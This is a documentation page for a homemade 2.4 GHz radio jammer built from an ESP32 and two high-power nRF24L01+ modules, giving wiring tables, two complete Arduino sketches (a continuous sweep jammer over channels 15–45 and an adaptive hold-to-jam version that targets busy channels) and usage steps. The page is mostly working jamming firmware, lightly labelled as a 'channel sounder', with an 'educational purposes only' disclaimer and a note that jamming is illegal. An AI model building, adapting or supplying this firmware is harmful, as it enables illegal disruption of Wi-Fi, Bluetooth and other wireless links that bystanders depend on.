2.4 GHz Channel Sounder / Jammer – Docs

πŸ”Š 2.4 GHz Channel Sounder / Jammer

ESP32 + Dual nRF24L01+ PA/LNA & 9dBi Antennas
⚠️ For educational purposes only

πŸ”Œ Hardware Pin Connections

ESP32 Wroom 32 (38‑pin)nRF24 #1nRF24 #2Other
3.3VVCCVCC–
GNDGNDGND–
GPIO 18 (SCK)SCKSCK (shared)–
GPIO 23 (MOSI)MOSIMOSI (shared)–
GPIO 19 (MISO)MISOMISO (shared)–
GPIO 4CE––
GPIO 5CSN––
GPIO 6–CE–
GPIO 7–CSN–
GPIO 0 (optional)––Button β†’ GND (pull‑up)
GPIO 2 (optional)––LED + resistor β†’ GND
πŸ’‘ Power notes: Both modules need stable 3.3V. Add 100Β΅F capacitors near each VCC/GND. Use a separate 3.3V regulator for high current. Connect 9dBi antennas via SMA pigtails.

πŸ“‘ Version 1 – Simple Sweep Jammer

Continuously sweeps channels 15–45, sending 20 packets per channel. Reports RPD (carrier detect) to appear as a spectrum analyser. Start jamming immediately

/* * 2.4 GHz ISM Band Channel Sounder (V1) * Simple sweep – jams all channels in range. */ #include <SPI.h> #include <nRF24L01.h> #include <RF24.h> #define RADIO_A_CE 4 #define RADIO_A_CSN 5 #define RADIO_B_CE 6 #define RADIO_B_CSN 7 RF24 radioA(RADIO_A_CE, RADIO_A_CSN); RF24 radioB(RADIO_B_CE, RADIO_B_CSN); const uint8_t channelList[] = { 15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30, 31,32,33,34,35,36,37,38,39,40,41,42,43,44,45 }; const uint8_t channelCount = sizeof(channelList) / sizeof(channelList[0]); const uint8_t PACKET_SIZE = 32; const uint8_t BURST_COUNT = 20; const uint16_t INTER_PACKET_US = 200; uint8_t testPacket[PACKET_SIZE]; bool initRadio(RF24 &radio, uint8_t ceLabel) { if (!radio.begin() || !radio.isChipConnected()) { Serial.print(F("Radio init failed on CE")); Serial.println(ceLabel); return false; } radio.setPALevel(RF24_PA_MAX); radio.setDataRate(RF24_2MBPS); radio.setPayloadSize(PACKET_SIZE); radio.setAutoAck(false); radio.setRetries(0,0); radio.setCRCLength(RF24_CRC_DISABLE); radio.setChannel(channelList[0]); uint8_t address[] = "SNDR"; radio.openWritingPipe(address); radio.openReadingPipe(1, address); radio.startListening(); return true; } void setup() { Serial.begin(115200); delay(500); bool okA = initRadio(radioA, RADIO_A_CE); bool okB = initRadio(radioB, RADIO_B_CE); if (!okA || !okB) { while(1) delay(1000); } Serial.println(F("Channel Sounder ready. Sweeping channels...")); } bool transmitBurst(RF24 &radio, uint8_t channel) { radio.stopListening(); radio.setChannel(channel); radio.flush_tx(); for (uint8_t i = 0; i < PACKET_SIZE; i++) { testPacket[i] = (i * 7 + channel) & 0xFF; } for (uint8_t burst = 0; burst < BURST_COUNT; burst++) { radio.writeFast(testPacket, PACKET_SIZE); delayMicroseconds(INTER_PACKET_US); } radio.txStandBy(); radio.startListening(); delayMicroseconds(150); bool carrierDetected = radio.testRPD(); if (radio.available()) { uint8_t dummy[PACKET_SIZE]; radio.read(dummy, PACKET_SIZE); } return carrierDetected; } void loop() { for (uint8_t i = 0; i < channelCount; i++) { RF24 &radio = (i % 2 == 0) ? radioA : radioB; char label = (i % 2 == 0) ? 'A' : 'B'; bool rpd = transmitBurst(radio, channelList[i]); Serial.print(F("Ch ")); Serial.print(channelList[i]); Serial.print(F(" (")); Serial.print(label); Serial.print(F("): RPD=")); Serial.println(rpd ? F("busy") : F("clear")); delay(2); } }

🎯 Version 2 – Adaptive Jammer with Hold Button + LED

Scans for busy channels, then jams only those channels using both radios simultaneously. Button (GPIO 0) activates jamming while held; LED (GPIO 2) indicates active jamming.

/* * Adaptive Channel Jammer – Hold-to-Jam with LED (V2) * Press and hold button to jam active channels. */ #include <SPI.h> #include <nRF24L01.h> #include <RF24.h> #define RADIO_A_CE 4 #define RADIO_A_CSN 5 #define RADIO_B_CE 6 #define RADIO_B_CSN 7 #define BUTTON_PIN 0 #define LED_PIN 2 RF24 radioA(RADIO_A_CE, RADIO_A_CSN); RF24 radioB(RADIO_B_CE, RADIO_B_CSN); const uint8_t channelList[] = { 15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30, 31,32,33,34,35,36,37,38,39,40,41,42,43,44,45 }; const uint8_t channelCount = sizeof(channelList) / sizeof(channelList[0]); const uint8_t PACKET_SIZE = 32; const uint8_t BURST_COUNT = 30; const uint16_t INTER_PACKET_US = 200; bool activeChannels[channelCount] = {false}; uint8_t testPacket[PACKET_SIZE]; bool initRadio(RF24 &radio, uint8_t ceLabel) { if (!radio.begin() || !radio.isChipConnected()) { Serial.print(F("Radio init failed on CE")); Serial.println(ceLabel); return false; } radio.setPALevel(RF24_PA_MAX); radio.setDataRate(RF24_2MBPS); radio.setPayloadSize(PACKET_SIZE); radio.setAutoAck(false); radio.setRetries(0,0); radio.setCRCLength(RF24_CRC_DISABLE); radio.setChannel(channelList[0]); uint8_t address[] = "SNDR"; radio.openWritingPipe(address); radio.openReadingPipe(1, address); radio.startListening(); return true; } bool listenForActivity(RF24 &radio, uint8_t channel) { radio.setChannel(channel); radio.startListening(); delayMicroseconds(200); bool rpd = radio.testRPD(); while (radio.available()) { uint8_t dump[PACKET_SIZE]; radio.read(dump, PACKET_SIZE); } return rpd; } void transmitBurst(RF24 &radio, uint8_t channel) { radio.stopListening(); radio.setChannel(channel); radio.flush_tx(); for (uint8_t i = 0; i < PACKET_SIZE; i++) { testPacket[i] = random(0,256); } for (uint8_t burst = 0; burst < BURST_COUNT; burst++) { radio.writeFast(testPacket, PACKET_SIZE); delayMicroseconds(INTER_PACKET_US); } radio.txStandBy(); radio.startListening(); } void setup() { Serial.begin(115200); delay(500); pinMode(BUTTON_PIN, INPUT_PULLUP); pinMode(LED_PIN, OUTPUT); digitalWrite(LED_PIN, LOW); bool okA = initRadio(radioA, RADIO_A_CE); bool okB = initRadio(radioB, RADIO_B_CE); if (!okA || !okB) { while(1) delay(1000); } Serial.println(F("Hold button to jam. Release to stop.")); } void loop() { bool buttonPressed = (digitalRead(BUTTON_PIN) == LOW); digitalWrite(LED_PIN, buttonPressed ? HIGH : LOW); // Idle scan (button not pressed) if (!buttonPressed) { for (uint8_t i = 0; i < channelCount; i++) { RF24 &radio = (i % 2 == 0) ? radioA : radioB; bool rpd = listenForActivity(radio, channelList[i]); Serial.print(F("Ch ")); Serial.print(channelList[i]); Serial.print(F(": ")); Serial.println(rpd ? F("busy") : F("clear")); delay(2); } delay(100); return; } // Jamming mode // Scan active channels for (uint8_t i = 0; i < channelCount; i++) { RF24 &radio = (i % 2 == 0) ? radioA : radioB; activeChannels[i] = listenForActivity(radio, channelList[i]); } // Jam only active channels with both radios for (uint8_t i = 0; i < channelCount; i++) { if (activeChannels[i]) { radioA.stopListening(); radioB.stopListening(); radioA.setChannel(channelList[i]); radioB.setChannel(channelList[i]); for (uint8_t burst = 0; burst < BURST_COUNT; burst++) { for (uint8_t j=0; j<PACKET_SIZE; j++) testPacket[j] = random(0,256); radioA.writeFast(testPacket, PACKET_SIZE); for (uint8_t j=0; j<PACKET_SIZE; j++) testPacket[j] = random(0,256); radioB.writeFast(testPacket, PACKET_SIZE); delayMicroseconds(80); } radioA.txStandBy(); radioB.txStandBy(); radioA.startListening(); radioB.startListening(); Serial.print(F("Jammed Ch ")); Serial.println(channelList[i]); } } delay(50); }

πŸ“– Usage Instructions

  • V1 (Simple): Upload and power on – it immediately starts jamming all channels. Serial monitor shows RPD readings.
  • V2 (Adaptive): Power on – it scans and prints channel activity (idle). Press and hold the button (GPIO 0) – the LED lights up and it jams only active channels. Release – jamming stops, LED off, back to scanning.
πŸ“¦ Required Library: Install the RF24 library by TMRh20 via Arduino Library Manager.
⚠️ Legal & Safety Warnings:
Using this device to jam communications is illegal in most countries. Use only on your own equipment or in shielded environments for educational purposes. The author assumes no liability.
πŸ”‹ Power & Range: nRF24 PA/LNA modules draw up to ~150mA each – ensure your 3.3V supply can handle at least 500mA. Use 9dBi antennas vertically for best range (200–500m in open areas). Keep modules away from metal.